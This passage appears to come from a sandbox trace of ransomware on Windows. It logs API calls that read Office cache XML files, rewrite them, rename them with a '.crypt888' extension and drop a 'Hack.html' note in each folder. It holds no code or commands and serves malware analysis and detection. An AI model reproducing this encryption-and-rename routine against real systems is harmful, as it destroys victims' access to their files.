(dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0067.343] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.crypt888")) returned 1 [0067.353] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Hack.html", lpFilePart=0x0) returned 0x48 [0067.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0067.353] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Hack.html" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0067.354] GetFileType (hFile=0x258) returned 0x1 [0067.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0067.354] GetFileType (hFile=0x258) returned 0x1 [0067.354] WriteFile (in: hFile=0x258, lpBuffer=0x2c2438c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x2c2438c*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0067.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0067.356] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0067.356] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0067.356] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a7e8 [0067.356] FindNextFileW (in: hFindFile=0x59a7e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.356] FindNextFileW (in: hFindFile=0x59a7e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.356] FindNextFileW (in: hFindFile=0x59a7e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.356] FindNextFileW (in: hFindFile=0x59a7e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.356] FindNextFileW (in: hFindFile=0x59a7e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.356] FindNextFileW (in: hFindFile=0x59a7e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0067.357] FindClose (in: hFindFile=0x59a7e8 | out: hFindFile=0x59a7e8) returned 1 [0067.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0067.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0067.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0067.357] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0067.357] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0067.357] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a7e8 [0067.357] FindNextFileW (in: hFindFile=0x59a7e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.357] FindNextFileW (in: hFindFile=0x59a7e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.357] FindNextFileW (in: hFindFile=0x59a7e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.357] FindNextFileW (in: hFindFile=0x59a7e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.357] FindNextFileW (in: hFindFile=0x59a7e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.357] FindNextFileW (in: hFindFile=0x59a7e8, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0067.357] FindClose (in: hFindFile=0x59a7e8 | out: hFindFile=0x59a7e8) returned 1 [0067.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0067.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0067.358] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0067.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0067.358] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.359] GetFileType (hFile=0x258) returned 0x1 [0067.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0067.359] GetFileType (hFile=0x258) returned 0x1 [0067.359] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x1861 [0067.359] ReadFile (in: hFile=0x258, lpBuffer=0x2c278c4, nNumberOfBytesToRead=0x1861, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2c278c4*, lpNumberOfBytesRead=0x39ed58*=0x1861, lpOverlapped=0x0) returned 1 [0067.397] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0067.397] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0067.397] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.398] GetFileType (hFile=0x258) returned 0x1 [0067.398] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0067.398] GetFileType (hFile=0x258) returned 0x1 [0067.398] WriteFile (in: hFile=0x258, lpBuffer=0x2c7c0bc*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x2c7c0bc*, lpNumberOfBytesWritten=0x39ed48*=0x1870, lpOverlapped=0x0) returned 1 [0067.399] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0067.399] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888", lpFilePart=0x0) returned 0x51 [0067.399] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0067.399] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f356eb0, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f356eb0, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0xb95f1ec0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x1870)) returned 1 [0067.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0067.400] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.crypt888")) returned 1 [0067.402] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpFilePart=0x0) returned 0x4b [0067.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0067.402] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.402] GetFileType (hFile=0x258) returned 0x1 [0067.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0067.402] GetFileType (hFile=0x258) returned 0x1 [0067.402] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x251f [0067.402] ReadFile (in: hFile=0x258, lpBuffer=0x2c7ddc4, nNumberOfBytesToRead=0x251f, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2c7ddc4*, lpNumberOfBytesRead=0x39ed58*=0x251f, lpOverlapped=0x0) returned 1 [0067.458] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpFilePart=0x0) returned 0x4b [0067.458] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0067.458] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.459] GetFileType (hFile=0x258) returned 0x1 [0067.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0067.459] GetFileType (hFile=0x258) returned 0x1 [0067.459] WriteFile (in: hFile=0x258, lpBuffer=0x26d83a8*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x26d83a8*, lpNumberOfBytesWritten=0x39ed48*=0x2520, lpOverlapped=0x0) returned 1 [0067.460] CloseHandle (hObject=0x258) returned 1 [0067.464] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml", lpFilePart=0x0) returned 0x4b [0067.464] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.crypt888", lpFilePart=0x0) returned 0x54 [0067.464] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0067.465] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5f0a8e20, ftCreationTime.dwHighDateTime=0x1cbe576, ftLastAccessTime.dwLowDateTime=0x5f0a8e20, ftLastAccessTime.dwHighDateTime=0x1cbe576, ftLastWriteTime.dwLowDateTime=0xb968a440, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x2520)) returned 1 [0067.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0067.465] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.crypt888")) returned 1 [0067.465] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Hack.html", lpFilePart=0x0) returned 0x48 [0067.465] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0067.466] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Hack.html" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0067.467] GetFileType (hFile=0x258) returned 0x1 [0067.467] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0067.467] GetFileType (hFile=0x258) returned 0x1 [0067.467] WriteFile (in: hFile=0x258, lpBuffer=0x26dc42c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x26dc42c*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0067.468] CloseHandle (hObject=0x258) returned 1 [0067.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0067.468] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0067.468] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0067.468] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a228 [0067.481] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.481] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.482] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.482] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.482] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.482] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0067.482] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0067.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0067.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0067.490] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0067.490] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0067.490] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0067.490] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a228 [0067.491] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.491] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.492] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.492] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.492] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0067.492] FindNextFileW (in: hFindFile=0x59a228, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0067.492] FindClose (in: hFindFile=0x59a228 | out: hFindFile=0x59a228) returned 1 [0067.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0067.493] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0067.493] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpFilePart=0x0) returned 0x4d [0067.493] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0067.493] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.494] GetFileType (hFile=0x258) returned 0x1 [0067.494] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0067.494] GetFileType (hFile=0x258) returned 0x1 [0067.494] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x646 [0067.494] ReadFile (in: hFile=0x258, lpBuffer=0x26e00ac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x26e00ac*, lpNumberOfBytesRead=0x39ed58*=0x646, lpOverlapped=0x0) returned 1 [0067.503] CloseHandle (hObject=0x258) returned 1 [0067.517] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpFilePart=0x0) returned 0x4d [0067.517] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0067.517] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.518] GetFileType (hFile=0x258) returned 0x1 [0067.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0067.518] GetFileType (hFile=0x258) returned 0x1 [0067.518] WriteFile (in: hFile=0x258, lpBuffer=0x27300a4*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x39ed1c, lpOverlapped=0x0 | out: lpBuffer=0x27300a4*, lpNumberOfBytesWritten=0x39ed1c*=0x650, lpOverlapped=0x0) returned 1 [0067.519] CloseHandle (hObject=0x258) returned 1 [0067.520] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml", lpFilePart=0x0) returned 0x4d [0067.520] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.crypt888", lpFilePart=0x0) returned 0x56 [0067.520] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0067.520] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb97229c0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x650)) returned 1 [0067.520] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0067.520] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.crypt888")) returned 1 [0067.521] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0067.521] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0067.521] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0067.522] GetFileType (hFile=0x258) returned 0x1 [0067.522] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0067.522] GetFileType (hFile=0x258) returned 0x1 [0067.522] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x7c4 [0067.522] ReadFile (in: hFile=0x258, lpBuffer=0x2731bec, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2731bec*, lpNumberOfBytesRead=0x39ed58*=0x7c4, lpOverlapped=0x0) returned 1 [0067.529] CloseHandle (hObject=0x258) returned 1 [0067.548] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0067.548] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0067.548] CreateFileW (lpFileName="C:\\MSOCache\\All 